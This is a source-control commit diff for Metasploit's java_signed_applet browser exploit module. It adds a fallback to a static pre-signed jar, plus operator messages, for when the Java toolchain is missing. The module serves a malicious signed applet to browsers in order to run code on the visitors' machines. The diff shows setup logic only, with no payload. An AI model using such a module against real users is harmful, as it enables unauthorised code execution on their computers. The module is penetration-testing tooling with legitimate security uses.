Adds static signed jar and user messages letting them know.

git-svn-id: file:///home/svn/framework3/trunk@8328 4d416f70-5f16-0410-b530-b9f4589650da

modules/exploits/multi/browser/java_signed_applet.rb

@@ -113,6 +113,16 @@ class Metasploit3 < Msf::Exploit::Remote
 		# Currently doing all processing in on_request_uri.
 		# If this is too slow, we can move applet generation up here.
 		#
+
+		@use_static = false
+
+		if not @jvm_init
+			print_error
+			print_error "JVM not initialized. You must install the Java Development Kit, the rjb ruby gem, and set the $JAVA_HOME variable."
+			print_error "Falling back to static signed applet.  This exploit will still work, but the CERTCN and APPLETNAME variables will be ignored."
+			print_error
+			@use_static = true
+		end
 		super		
 	end
 	
@@ -374,6 +384,7 @@ public class #{datastore['APPLETNAME']} extends Applet
 				end
 			end
 
+			if not @use_static
 				appletcode = get_code(cli)
 
 				print_status "Compiling applet classes..."
@@ -397,6 +408,9 @@ public class #{datastore['APPLETNAME']} extends Applet
 				sign_jar( datastore['CERTCN'], unsignedjar, @signedjar )
 	
 				print_status "Jar signed.  Ready to send."
+			else
+				print_status "Using static, signed jar.  Ready to send."
+			end
 	
 			# TODO: gzip data and parse in java
 			send_response_html( cli, generate_html( data, host, port ), { 'Content-Type' => 'text/html' } )
@@ -404,8 +418,13 @@ public class #{datastore['APPLETNAME']} extends Applet
 		end
 				
 		# load the jar file
-		if File.exists? File.join( datastore['JAVACACHE'], @signedjar )
+		if @use_static
+			path = File.join( Msf::Config.install_root, "data", "exploits", "java_signed_applet.jar" )
+		elsif File.exists? File.join( datastore['JAVACACHE'], @signedjar )
 			path = File.join( datastore['JAVACACHE'], @signedjar )
+		end
+		
+		if path
 			fd = File.open( path, "rb" )
 			@jar_data = fd.read(fd.stat.size)
 			fd.close